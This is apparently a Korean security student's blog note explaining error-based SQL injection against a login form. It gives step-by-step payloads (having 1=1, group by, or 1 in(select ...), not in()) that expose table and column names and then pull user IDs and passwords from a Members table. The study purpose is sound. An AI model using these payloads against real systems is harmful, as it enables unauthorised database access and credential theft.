[Error based SQLi] Table, Column 추출

BEEUM·2024년 4월 23일
post-thumbnail

Table 이름 추출 : having 함수 활용!

→ having 은 group by() 와 같이 쓰여야 함!

⇒’ having 1=1 --

예상 SQL 문
”SELECT * FROM ~~ WHERE user_id = ‘id’ and passwd = ‘pw’”

예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘’ having 1=1 --’ and passwd = ‘pw’”

(1) 해당 공격 문자열 입력 (비밀번호는 중요하지않음)

⇒ ‘ having 1=1 --

group by 문이 없기 때문에 해당 오류메시지 유도

‘테이블명 . 첫 번째 컬럼명’ 이 에러페이지에 노출

⇒ Table : Members

⇒ 첫 번째 Column : num

(2) 두 번째 Column 명 추출 : group by 활용!

⇒ ‘ group by num --

예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num --’ and passwd = ‘pw’”

⇒ 두 번째 Column 명 : user_id

(3) 세 번째 Column 명 추출 : 컬럼 이어서 쓰기

⇒ ‘ group by num, user_id --

예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num, user_id --’ and passwd = ‘pw’”

⇒ 세 번째 Column 명 : passwd

(4) 데이터(ID/PW) 추출 : in() 활용!

⇒ ' or 1 in(select user_id from Members)--

예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘ or 1 in (select user_id from members) --’ and passwd = ‘pw’”

⇒ user_id Column의 첫 번째 Data : new123

Q) 전체 아이디 추출하기!

⇒ ‘ or 1 [Members 테이블의 user_id를 포함시켜 반환하는데, 그 중에서 user_id가 (’new123’)은 포함하지 않도록 반환]--

  • in() : 포함되는 것 반환
  • not in() : 포함되지 않는 것 반환

⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’))--

⇒ user_id Column의 두 번째 Data : ryu123

(5) 해당 루틴으로 계속해서 ID 추출

⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’, ‘ryu123’))--

⇒ user_id Column의 세 번째 Data : admin

더 이상 나오지 않을 때 까지 추출하면 다 추출한 것이다

(6) 같은 방법으로 PW 도 추출 가능

⇒ ' or 1 in(select passwd from Members)--

⇒ passwd Column의 첫 번째 Data : asdf

ID와 PW를 추출했다고해서 무조건 매칭 되는 것은 아니다 (첫 번째 ≠ 첫 번째)

profile
정보보안 꿈나무

0개의 댓글